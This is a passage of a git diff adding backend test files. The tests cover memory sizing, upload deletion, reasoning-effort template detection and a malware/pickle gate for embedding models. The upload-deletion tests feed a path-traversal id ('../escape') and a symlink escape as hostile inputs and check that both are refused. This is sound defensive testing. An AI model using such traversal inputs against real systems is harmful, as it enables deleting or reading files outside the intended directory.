+    GIB = 1024**3
+
+    def test_covers_measured_1m_buffer(self):
+        b = _backend(embd = 4096, arch = "deepseek4")
+        gib = b._compute_buffer_ctx_bytes(1048576, cache_type_kv = "f16") / self.GIB
+        assert gib >= self._MEASURED_1M_GIB, f"under-reserved {gib:.1f} < {self._MEASURED_1M_GIB}"
+
+    def test_not_wildly_over_at_1m(self):
+        # Within ~1.3x of measured so the fit still grants a large (~256k) context.
+        b = _backend(embd = 4096, arch = "deepseek4")
+        gib = b._compute_buffer_ctx_bytes(1048576, cache_type_kv = "f16") / self.GIB
+        assert gib <= self._MEASURED_1M_GIB * 1.3
+
+    def test_fires_for_f16_cache(self):
+        # The bug: an f16 (default) cache took the tiny mask-only path. DSV4 must
+        # reserve GiB, not the ~MiB a non-DSV4 model reserves at the same ctx.
+        dsv4 = _backend(embd = 4096, arch = "deepseek4")._compute_buffer_ctx_bytes(
+            262144, cache_type_kv = "f16"
+        )
+        other = _backend(embd = 4096, arch = "qwen3")._compute_buffer_ctx_bytes(
+            262144, cache_type_kv = "f16"
+        )
+        assert dsv4 > 40 * other
+
+    def test_cache_type_independent(self):
+        # Indexer scratch is present for an f16 and a quantized cache alike.
+        b = _backend(embd = 4096, arch = "deepseek4")
+        assert b._compute_buffer_ctx_bytes(
+            262144, cache_type_kv = "f16"
+        ) == b._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0")
+
+    def test_flat_floor_at_small_ctx(self):
+        # ~2 GiB indexer scratch present even at tiny ctx (covers the measured 16k ~2 GiB).
+        b = _backend(embd = 4096, arch = "deepseek4")
+        assert b._compute_buffer_ctx_bytes(16384, cache_type_kv = "f16") / self.GIB >= 2.0
+
+    def test_scales_with_context_and_ubatch(self):
+        b = _backend(embd = 4096, arch = "deepseek4")
+        assert b._compute_buffer_ctx_bytes(131072) > b._compute_buffer_ctx_bytes(65536)
+        assert b._compute_buffer_ctx_bytes(131072, n_ubatch = 1024) > b._compute_buffer_ctx_bytes(
+            131072, n_ubatch = 256
+        )
+
+    def test_non_dsv4_unchanged(self):
+        # Regression guard: a non-deepseek4 model keeps the mask-only f16 rate.
+        b = _backend(embd = 4096, arch = "llama")
+        per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = "f16") / 100000
+        expected = 512 * 2 * LlamaCppBackend._CTX_COMPUTE_F16_MASK_SAFETY
+        assert per_tok == pytest.approx(expected, rel = 1e-6)
diff --git a/studio/backend/tests/test_data_recipe_seed.py b/studio/backend/tests/test_data_recipe_seed.py
index 09e22116ed..58bbd24061 100644
--- a/studio/backend/tests/test_data_recipe_seed.py
+++ b/studio/backend/tests/test_data_recipe_seed.py
@@ -124,3 +124,100 @@ def test_unstructured_upload_import_errors_stay_generic(monkeypatch, tmp_path, e
     assert result.status == "error"
     assert result.error == "Text extraction failed."
     assert _block_files(seed_route) == []
+
+
+_TEST_UPLOAD_UID = "0f" * 16
+
+
+def test_remove_unstructured_block_deletes_directory(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    _run_upload(seed_route, "notes.txt", b"hello", block_id = _TEST_UPLOAD_UID)
+    assert _block_files(seed_route, _TEST_UPLOAD_UID) != []
+
+    result = asyncio.run(seed_route.remove_unstructured_block(_TEST_UPLOAD_UID))
+
+    assert result == {"status": "ok", "deleted": True}
+    assert not (seed_route.UNSTRUCTURED_UPLOAD_ROOT / _TEST_UPLOAD_UID).exists()
+
+
+def test_remove_unstructured_block_missing_directory_is_ok(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+
+    result = asyncio.run(seed_route.remove_unstructured_block(_TEST_UPLOAD_UID))
+
+    assert result == {"status": "ok", "deleted": False}
+
+
+def test_remove_unstructured_block_rejects_unsafe_ids(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+
+    with pytest.raises(seed_route.HTTPException) as exc:
+        asyncio.run(seed_route.remove_unstructured_block("../escape"))
+
+    assert exc.value.status_code == 400
+
+
+def test_remove_unstructured_block_rejects_legacy_node_ids(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    _run_upload(seed_route, "notes.txt", b"hello", block_id = "n1")
+    assert _block_files(seed_route, "n1") != []
+
+    with pytest.raises(seed_route.HTTPException) as exc:
+        asyncio.run(seed_route.remove_unstructured_block("n1"))
+
+    assert exc.value.status_code == 400
+    assert _block_files(seed_route, "n1") != []
+
+
+def test_remove_unstructured_block_rejects_symlink_escape(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    outside = tmp_path / "outside"
+    outside.mkdir()
+    (outside / "victim.txt").write_text("keep me")
+    root = seed_route.UNSTRUCTURED_UPLOAD_ROOT
+    root.mkdir(parents = True)
+    (root / _TEST_UPLOAD_UID).symlink_to(outside)
+
+    with pytest.raises(seed_route.HTTPException) as exc:
+        asyncio.run(seed_route.remove_unstructured_block(_TEST_UPLOAD_UID))
+
+    assert exc.value.status_code == 400
+    assert (outside / "victim.txt").exists()
+
+
+def test_remove_unstructured_block_fails_if_directory_remains(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    root = seed_route.UNSTRUCTURED_UPLOAD_ROOT
+    block_dir = root / _TEST_UPLOAD_UID
+    block_dir.mkdir(parents = True)
+    (block_dir / "victim.txt").write_text("keep me")
+
+    calls = []
+
+    def noop_rmtree(path, *args, **kwargs):
+        calls.append((path, args, kwargs))
+
+    monkeypatch.setattr(seed_route.shutil, "rmtree", noop_rmtree)
+
+    with pytest.raises(seed_route.HTTPException) as exc:
+        asyncio.run(seed_route.remove_unstructured_block(_TEST_UPLOAD_UID))
+
+    assert calls
+    assert exc.value.status_code == 500
+    assert block_dir.exists()
+
+
+def test_total_upload_quota_is_scoped_per_block(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    monkeypatch.setattr(seed_route, "UNSTRUCTURED_RECIPE_UPLOAD_TOTAL_MAX_BYTES", 10)
+
+    first = _run_upload(seed_route, "a.txt", b"123456789")
+    assert first.status == "ok"
+
+    with pytest.raises(seed_route.HTTPException) as exc:
+        _run_upload(seed_route, "b.txt", b"123")
+    assert exc.value.status_code == 413
+
+    # Another block starts with its own untouched budget.
+    other = _run_upload(seed_route, "c.txt", b"123", block_id = "other")
+    assert other.status == "ok"
diff --git a/studio/backend/tests/test_deepseek_v4_thinking_effort.py b/studio/backend/tests/test_deepseek_v4_thinking_effort.py
new file mode 100644
index 0000000000..0d60d9b5ec
--- /dev/null
+++ b/studio/backend/tests/test_deepseek_v4_thinking_effort.py
@@ -0,0 +1,178 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""DeepSeek-V4-Flash reasoning toggle: None / High / Max.
+
+The GGUF template gates thinking with ``enable_thinking`` and only branches
+``reasoning_effort`` on ``'max'`` (an escalation layered over plain thinking).
+Detection used to return the single level ``['max']``, so the UI collapsed to
+None / Max and the plain-thinking tier was unreachable. Detection now surfaces
+``'high'`` as that plain tier, giving None / High / Max. These tests pin the
+classifier, the GLM-style parity case, and the full request-kwargs -> rendered
+prompt path for each state (the model itself is too large to load here).
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+import pytest
+
+_backend_root = Path(__file__).resolve().parent.parent
+if str(_backend_root) not in sys.path:
+    sys.path.insert(0, str(_backend_root))
+
+
+# Faithful slice of the DeepSeek-V4-Flash GGUF template: the enable_thinking
+# gate, the sole ``reasoning_effort == 'max'`` escalation, and the plain-think
+# fallback. Any non-'max' effort renders as ordinary thinking.
+DEEPSEEK_V4_TEMPLATE = """
+{%- if not thinking is defined -%}
+  {%- if enable_thinking is defined -%}
+    {%- set thinking = enable_thinking -%}
+  {%- else -%}
+    {%- set thinking = false -%}
+  {%- endif -%}
+{%- endif -%}
+{%- if not reasoning_effort is defined -%}
+  {%- set reasoning_effort = none -%}
+{%- endif -%}
+{{- bos_token -}}
+{%- if thinking and reasoning_effort == 'max' -%}
+  {{- 'Reasoning Effort: Absolute maximum with no shortcuts permitted.\\n\\n' -}}
+{%- endif -%}
+{%- for message in messages -%}
+  {{- '<|User|>' + (message['content'] or '') -}}
+{%- endfor -%}
+{%- if add_generation_prompt -%}
+  {{- '<|Assistant|>' -}}
+  {%- if thinking -%}{{- '<think>' -}}{%- else -%}{{- '</think>' -}}{%- endif -%}
+{%- endif -%}
+"""
+
+
+# GLM-5.2-style: branches on two effort literals, so 'high' already exists as
+# the sub-'max' tier and detection must leave the pair untouched.
+GLM_STYLE_TEMPLATE = """
+{%- if enable_thinking -%}
+  {%- if reasoning_effort == 'high' -%}{{- 'H' -}}
+  {%- elif reasoning_effort == 'max' -%}{{- 'M' -}}
+  {%- endif -%}
+{%- endif -%}
+"""
+
+
+# A ['max']-only template under a non-deepseek id: the synthetic 'high' is scoped
+# to deepseek-v4, so this must stay ['max'] (no phantom 'high').
+NON_DEEPSEEK_MAX_ONLY_TEMPLATE = DEEPSEEK_V4_TEMPLATE
+
+
+# A template whose sole effort literal is a sub-'max' level: the guard targets
+# only the ['max']-alone case, so a lone 'high' stays a singleton.
+HIGH_ONLY_TEMPLATE = """
+{%- if enable_thinking and reasoning_effort == 'high' -%}{{- 'H' -}}{%- endif -%}
+"""
+
+
+def _render(template: str, **kwargs) -> str:
+    jinja2 = pytest.importorskip("jinja2")
+    env = jinja2.Environment()
+    tmpl = env.from_string(template)
+    return tmpl.render(bos_token = "<BOS>", add_generation_prompt = True, **kwargs)
+
+
+# -- Classifier -------------------------------------------------------
+
+
+def test_deepseek_v4_surfaces_high_as_plain_tier():
+    """Sole 'max' escalation expands to ['high', 'max'] so None/High/Max show."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "unsloth/DeepSeek-V4-Flash")
+    assert flags["supports_reasoning"] is True
+    assert flags["reasoning_style"] == "enable_thinking_effort"
+    assert flags["reasoning_effort_levels"] == ["high", "max"]
+
+
+def test_glm_style_two_level_template_unchanged():
+    """A template that already names a sub-'max' tier is left as-is."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(GLM_STYLE_TEMPLATE, "unsloth/GLM-5.2")
+    assert flags["reasoning_style"] == "enable_thinking_effort"
+    assert flags["reasoning_effort_levels"] == ["high", "max"]
+
+
+def test_synthetic_high_scoped_to_deepseek_v4():
+    """The same ['max']-only template under a non-deepseek id keeps ['max']."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(NON_DEEPSEEK_MAX_ONLY_TEMPLATE, "vendor/OtherHybrid-GGUF")
+    assert flags["reasoning_effort_levels"] == ["max"]
+
+
+def test_guard_does_not_fire_for_sub_max_singleton():
+    """The expansion targets only ['max']; a lone 'high' stays a singleton."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(HIGH_ONLY_TEMPLATE, "custom/high-only")
+    assert flags["reasoning_effort_levels"] == ["high"]
+
+
+# -- Request kwargs -> rendered prompt, for each state ----------------
+
+
+def _kwargs_for(flags: dict, enable_thinking, reasoning_effort):
+    """Drive the real backend method with a shim carrying the detected flags."""
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    shim = object.__new__(LlamaCppBackend)
+    shim._supports_reasoning = flags["supports_reasoning"]
+    shim._reasoning_always_on = flags["reasoning_always_on"]
+    shim._reasoning_style = flags["reasoning_style"]
+    shim._reasoning_effort_levels = flags["reasoning_effort_levels"]
+    shim._supports_preserve_thinking = flags["supports_preserve_thinking"]
+    return shim._request_reasoning_kwargs(enable_thinking, reasoning_effort, None) or {}
+
+
+def _flags():
+    from core.inference.llama_cpp import detect_reasoning_flags
+    return detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "unsloth/DeepSeek-V4-Flash")
+
+
+def test_none_state_renders_non_thinking():
+    """UI 'None' -> enable_thinking=false -> closed </think>, no preamble."""
+    kwargs = _kwargs_for(_flags(), enable_thinking = False, reasoning_effort = None)
+    assert kwargs == {"enable_thinking": False}
+    out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs)
+    assert out.endswith("</think>")
+    assert "Absolute maximum" not in out
+
+
+def test_high_state_renders_plain_thinking():
+    """UI 'High' -> et=true, effort=high -> open <think>, no max preamble."""
+    kwargs = _kwargs_for(_flags(), enable_thinking = True, reasoning_effort = "high")
+    assert kwargs == {"enable_thinking": True, "reasoning_effort": "high"}
+    out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs)
+    assert out.endswith("<think>")
+    assert "Absolute maximum" not in out
+
+
+def test_max_state_injects_max_preamble():
+    """UI 'Max' -> et=true, effort=max -> open <think> plus the max preamble."""
+    kwargs = _kwargs_for(_flags(), enable_thinking = True, reasoning_effort = "max")
+    assert kwargs == {"enable_thinking": True, "reasoning_effort": "max"}
+    out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs)
+    assert out.endswith("<think>")
+    assert "Absolute maximum" in out
+
+
+def test_high_effort_alone_enables_thinking():
+    """API caller sending only reasoning_effort='high' (no enable_thinking) still
+    gets thinking on, so the newly exposed High mode renders correctly."""
+    kwargs = _kwargs_for(_flags(), enable_thinking = None, reasoning_effort = "high")
+    assert kwargs == {"enable_thinking": True, "reasoning_effort": "high"}
+    out = _render(DEEPSEEK_V4_TEMPLATE, messages = [{"role": "user", "content": "hi"}], **kwargs)
+    assert out.endswith("<think>")
+    assert "Absolute maximum" not in out
diff --git a/studio/backend/tests/test_embedding_model_security_gate.py b/studio/backend/tests/test_embedding_model_security_gate.py
new file mode 100644
index 0000000000..940b35d7ba
--- /dev/null
+++ b/studio/backend/tests/test_embedding_model_security_gate.py
@@ -0,0 +1,365 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""The RAG embedding model must pass the malware/pickle gate before it is persisted or
+loaded. A flagged repo (or any repo saved with force) previously reached
+SentenceTransformer unscanned, bypassing the normal model-load protections."""
+
+from pathlib import Path
+import sys
+import types as _types
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+import pytest
+from fastapi import FastAPI
+from fastapi.testclient import TestClient
+
+import routes.settings as settings
+
+
+class _Decision:
+    def __init__(self, blocked):
+        self.blocked = blocked
+
+
+def _security_stub(blocked):
+    mod = _types.ModuleType("utils.security")
+    mod.evaluate_file_security = lambda *a, **k: _Decision(blocked)
+    mod.security_load_subdirs = lambda *a, **k: ()
+    return mod
+
+
+@pytest.fixture
+def client(monkeypatch):
+    # The settings scan unions in the ST module dirs read from modules.json; keep it
+    # offline and deterministic for the endpoint tests that use this fixture.
+    import core.rag.embeddings as embeddings
+
+    monkeypatch.setattr(embeddings, "_st_module_subdirs", lambda name, token = None: ())
+    saved: dict = {}
+    monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed")
+    monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v)
+    monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v))
+    monkeypatch.setattr(settings, "_llama_backend_active", lambda: False)
+    monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False)
+    monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", ""))
+    monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model"))
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    return TestClient(app, raise_server_exceptions = False), saved
+
+
+def test_flagged_repo_is_blocked_even_with_force(client, monkeypatch):
+    c, saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True))
+    r = c.put(
+        "/embedding-model", json = {"embedding_model": "attacker/malicious-embed", "force": True}
+    )
+    # 403, not the forceable 409, so the client does not offer "save anyway".
+    assert r.status_code == 403
+    assert "model" not in saved  # force must not persist a flagged repo
+
+
+def test_flagged_repo_is_blocked_without_force(client, monkeypatch):
+    c, saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True))
+    r = c.put("/embedding-model", json = {"embedding_model": "attacker/malicious-embed"})
+    assert r.status_code == 403
+    assert "model" not in saved
+
+
+def test_hard_block_uses_non_forceable_status(client, monkeypatch):
+    # The forceable verification path uses 409; the hard security block must be distinct
+    # (403) so the frontend never routes it into the "save anyway" force flow.
+    c, _saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True))
+    blocked = c.put("/embedding-model", json = {"embedding_model": "attacker/malicious-embed"})
+    assert blocked.status_code == 403
+
+    # A verification failure (not-an-embedding-model) stays forceable at 409.
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False))
+    monkeypatch.setattr(settings, "is_embedding_model", lambda *a, **k: False, raising = False)
+    import utils.models as _models
+
+    monkeypatch.setattr(_models, "is_embedding_model", lambda *a, **k: False)
+    unverified = c.put("/embedding-model", json = {"embedding_model": "acme/not-an-embedder"})
+    assert unverified.status_code == 409
+
+
+def test_llama_backend_skips_the_st_pickle_scan(monkeypatch):
+    # On the llama-server backend the embedder loads GGUF (inert), not the ST repo's
+    # pickle, so a flagged ST repo with a clean GGUF companion must not be rejected here.
+    saved: dict = {}
+    monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed")
+    monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v)
+    monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v))
+    monkeypatch.setattr(settings, "_llama_backend_active", lambda: True)
+    monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False)
+    monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", ""))
+    monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model"))
+    # force skips the GGUF availability checks; the ST pickle gate is what we assert is skipped.
+    called = {"scanned": False}
+    mod = _types.ModuleType("utils.security")
+
+    def _fail(*a, **k):
+        called["scanned"] = True
+        return _Decision(True)
+
+    mod.evaluate_file_security = _fail
+    mod.security_load_subdirs = lambda *a, **k: ()
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    c = TestClient(app, raise_server_exceptions = False)
+    r = c.put(
+        "/embedding-model",
+        json = {"embedding_model": "attacker/flagged-st-clean-gguf", "force": True},
+    )
+    assert r.status_code == 200
+    assert called["scanned"] is False  # the ST pickle scan never ran on the llama path
+    assert saved.get("model") == "attacker/flagged-st-clean-gguf"
+
+
+def test_runtime_llama_fallback_skips_the_st_pickle_scan(monkeypatch):
+    # auto resolves to sentence-transformers (GPU present) but the embedder fell back to
+    # llama-server at runtime (torch/CUDA load or encode failure), so the process now loads
+    # only inert GGUF. The real _llama_backend_active() must reflect that cached fallback,
+    # so a flagged ST repo with a clean GGUF companion must not be hard-blocked here.
+    import core.rag.embeddings as embeddings
+    from core.rag.embed_llama_server import LlamaServerBackend
+
+    # Simulate the runtime fallback: the process-wide backend is a LlamaServerBackend even
+    # though the auto resolver would still say sentence-transformers.
+    monkeypatch.setattr(embeddings, "_backend", LlamaServerBackend())
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "sentence-transformers")
+    monkeypatch.setattr(embeddings, "_st_module_subdirs", lambda name, token = None: ())
+
+    saved: dict = {}
+    monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed")
+    monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v)
+    monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v))
+    # Deliberately do NOT monkeypatch settings._llama_backend_active: this test exercises the
+    # real delegation to embeddings.active_backend_is_llama() so the cached fallback is honored.
+    monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False)
+    monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", ""))
+    monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model"))
+
+    called = {"scanned": False}
+    mod = _types.ModuleType("utils.security")
+
+    def _fail(*a, **k):
+        called["scanned"] = True
+        return _Decision(True)
+
+    mod.evaluate_file_security = _fail
+    mod.security_load_subdirs = lambda *a, **k: ()
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    c = TestClient(app, raise_server_exceptions = False)
+    r = c.put(
+        "/embedding-model",
+        json = {"embedding_model": "attacker/flagged-st-clean-gguf", "force": True},
+    )
+    assert r.status_code == 200
+    assert called["scanned"] is False  # the ST pickle scan never ran on the llama fallback
+    assert saved.get("model") == "attacker/flagged-st-clean-gguf"
+
+
+def test_active_backend_is_llama_reflects_cache_and_resolver(monkeypatch):
+    # active_backend_is_llama() reports the ACTUAL built backend when one exists, and defers
+    # to the resolver (fresh-process behavior) when none has been built yet.
+    import core.rag.embeddings as embeddings
+    import core.rag.config as rag_config
+    from core.rag.embed_llama_server import LlamaServerBackend
+
+    # A cached llama backend wins even when auto would resolve to sentence-transformers.
+    monkeypatch.setattr(rag_config, "EMBED_BACKEND", "auto")
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "sentence-transformers")
+    monkeypatch.setattr(embeddings, "_backend", LlamaServerBackend())
+    assert embeddings.active_backend_is_llama() is True
+
+    # A cached ST backend reports False even when the resolver now picks llama, so its
+    # pickle stays gated (the cached backend, not the resolver, is what actually embeds).
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "llama-server")
+    monkeypatch.setattr(embeddings, "_backend", embeddings._SentenceTransformersBackend())
+    assert embeddings.active_backend_is_llama() is False
+
+    # No cached backend -> the resolver decides, unchanged from before.
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "sentence-transformers")
+    monkeypatch.setattr(embeddings, "_backend", None)
+    assert embeddings.active_backend_is_llama() is False  # auto -> sentence-transformers
+
+    monkeypatch.setattr(embeddings, "_resolve_auto", lambda: "llama-server")
+    assert embeddings.active_backend_is_llama() is True  # auto -> llama-server
+
+    # An explicit (non-auto) key is honored verbatim without a cached backend.
+    monkeypatch.setattr(rag_config, "EMBED_BACKEND", "llama-server")
+    assert embeddings.active_backend_is_llama() is True
+
+
+def test_settings_scan_scopes_module_subdirs(monkeypatch):
+    # The settings scan must pass the ST module dirs (0_Transformer/) as load roots so a
+    # pickle directly under one blocks; assert those subdirs reach evaluate_file_security.
+    saved: dict = {}
+    monkeypatch.setattr(settings, "default_embedding_model", lambda: "unsloth/default-embed")
+    monkeypatch.setattr(settings, "validate_embedding_model", lambda v: v)
+    monkeypatch.setattr(settings, "set_rag_embedding_model", lambda v: saved.setdefault("model", v))
+    monkeypatch.setattr(settings, "_llama_backend_active", lambda: False)
+    monkeypatch.setattr(settings, "_resolves_as_local_gguf", lambda m: False)
+    monkeypatch.setattr(settings, "get_rag_embedding_model", lambda: saved.get("model", ""))
+    monkeypatch.setattr(settings, "get_stored_embedding_model", lambda: saved.get("model"))
+
+    import core.rag.embeddings as embeddings
+
+    monkeypatch.setattr(
+        embeddings, "_st_module_subdirs", lambda name, token = None: ("0_Transformer",)
+    )
+    seen = {}
+
+    def _capture(*a, **k):
+        seen["subdirs"] = tuple(k.get("load_subdirs") or ())
+        return _Decision(False)
+
+    mod = _types.ModuleType("utils.security")
+    mod.security_load_subdirs = lambda *a, **k: ()
+    mod.evaluate_file_security = _capture
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    c = TestClient(app, raise_server_exceptions = False)
+    r = c.put(
+        "/embedding-model", json = {"embedding_model": "acme/embed-with-module-dir", "force": True}
+    )
+    assert r.status_code == 200
+    assert "0_Transformer" in seen["subdirs"]
+
+
+def test_clean_repo_saves_under_force(client, monkeypatch):
+    c, saved = client
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False))
+    r = c.put("/embedding-model", json = {"embedding_model": "acme/clean-embed", "force": True})
+    assert r.status_code == 200
+    assert saved.get("model") == "acme/clean-embed"
+
+
+def test_load_sink_refuses_flagged_model(monkeypatch):
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = True))
+    import core.rag.embeddings as embeddings
+    with pytest.raises(embeddings.UnsafeEmbeddingModelError):
+        embeddings._guard_model_security("attacker/malicious-embed")
+
+
+def test_load_sink_allows_clean_model(monkeypatch):
+    monkeypatch.setitem(sys.modules, "utils.security", _security_stub(blocked = False))
+    import core.rag.embeddings as embeddings
+    embeddings._guard_model_security("acme/clean-embed")  # no raise
+
+
+def test_sink_threads_ambient_token_into_scan(monkeypatch):
+    # A gated repo set via env/default has no request token; the guard must feed the
+    # loader's own token to the scan, or it fails open for the repo that still loads.
+    seen = {}
+    mod = _types.ModuleType("utils.security")
+    mod.security_load_subdirs = (
+        lambda name, token = None: seen.setdefault("subdirs_token", token) or ()
+    )
+    mod.evaluate_file_security = lambda *a, **k: seen.setdefault(
+        "scan_token", k.get("hf_token")
+    ) or _Decision(False)
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+    import core.rag.embeddings as embeddings
+
+    monkeypatch.setattr(embeddings, "_ambient_hf_token", lambda: "hf_ambient")
+    embeddings._guard_model_security("acme/gated-embed")
+    assert seen["scan_token"] == "hf_ambient"
+    assert seen["subdirs_token"] == "hf_ambient"
+
+
+def test_sink_scopes_st_module_subdirs_into_scan(monkeypatch):
+    # A flagged pickle directly under a Transformer module dir (0_Transformer/) must
+    # reach the scan as a load root; assert the guard unions the module dirs into
+    # load_subdirs so evaluate_file_security treats such a pickle as root-level.
+    seen = {}
+
+    def _capture(*a, **k):
+        seen["subdirs"] = tuple(k.get("load_subdirs") or ())
+        return _Decision(False)
+
+    mod = _types.ModuleType("utils.security")
+    mod.security_load_subdirs = lambda name, token = None: ()
+    mod.evaluate_file_security = _capture
+    monkeypatch.setitem(sys.modules, "utils.security", mod)
+    import core.rag.embeddings as embeddings
+
+    monkeypatch.setattr(embeddings, "_ambient_hf_token", lambda: None)
+    monkeypatch.setattr(
+        embeddings, "_st_module_subdirs", lambda name, token = None: ("0_Transformer",)
+    )
+    embeddings._guard_model_security("acme/embed-with-module-dir")
+    assert "0_Transformer" in seen["subdirs"]
+
+
+def test_st_module_subdirs_reads_local_modules_json(tmp_path, monkeypatch):
+    # The helper must parse each module's non-empty "path" from a local repo's
+    # modules.json and drop the root-level ("") Transformer entry.
+    import json
+    import core.rag.embeddings as embeddings
+
+    (tmp_path / "modules.json").write_text(
+        json.dumps(
+            [
+                {"idx": 0, "name": "0", "path": "0_Transformer", "type": "..."},
+                {"idx": 1, "name": "1", "path": "1_Pooling", "type": "..."},
+                {"idx": 2, "name": "2", "path": "", "type": "..."},
+            ]
+        )
+    )
+    subdirs = embeddings._st_module_subdirs(str(tmp_path), None)
+    assert subdirs == ("0_Transformer", "1_Pooling")
+
+
+def test_st_module_subdirs_swallows_errors(monkeypatch):
+    # Any failure (no modules.json, offline, malformed) returns () so the guard never
+    # bricks the embedder.
+    import huggingface_hub
+    import core.rag.embeddings as embeddings
+
+    def _boom(*a, **k):
+        raise RuntimeError("offline")
+
+    monkeypatch.setattr(huggingface_hub, "hf_hub_download", _boom)
+    assert embeddings._st_module_subdirs("acme/no-such-repo-xyz", None) == ()
+
+
+def test_security_block_is_not_swallowed_by_llama_fallback(monkeypatch):
+    # The ST encode fallback must re-raise a security block, not swap to llama-server.
+    import core.rag.embeddings as embeddings
+
+    def _boom(*a, **k):
+        raise embeddings.UnsafeEmbeddingModelError("flagged")
+
+    monkeypatch.setattr(embeddings, "_st_encode", _boom)
+    monkeypatch.setattr(
+        embeddings,
+        "_switch_to_llama_fallback",
+        lambda err: pytest.fail("security block must not fall back to llama-server"),
+    )
+    with pytest.raises(embeddings.UnsafeEmbeddingModelError):
+        embeddings._SentenceTransformersBackend().encode(["hi"])
diff --git a/studio/backend/tests/test_export_capability.py b/studio/backend/tests/test_export_capability.py
new file mode 100644
index 0000000000..e04417f933
--- /dev/null
+++ b/studio/backend/tests/test_export_capability.py
@@ -0,0 +1,156 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for export capability gating.
+
+Export is supported iff ``get_device() in {CUDA, XPU, MLX}``, with a torch-aware reason otherwise
+(pytorch_not_installed / no_accelerator / mlx_unavailable), and the backend must import without
+PyTorch. The matrix mocks the hardware probes; wiring is checked with ast so it runs on CPU.
+"""
+
+import ast
+import builtins
+from pathlib import Path
+
+import pytest
+
+import utils.hardware.hardware as hw
+
+_BACKEND = Path(__file__).resolve().parent.parent
+
+
+def _src(rel):
+    return (_BACKEND / rel).read_text(encoding = "utf-8")
+
+
+def _func_src(rel, name):
+    src = _src(rel)
+    node = next(
+        n for n in ast.walk(ast.parse(src)) if isinstance(n, ast.FunctionDef) and n.name == name
+    )
+    return ast.get_source_segment(src, node)
+
+
+# -- capability matrix --------------------------------------------------------------------------
+
+
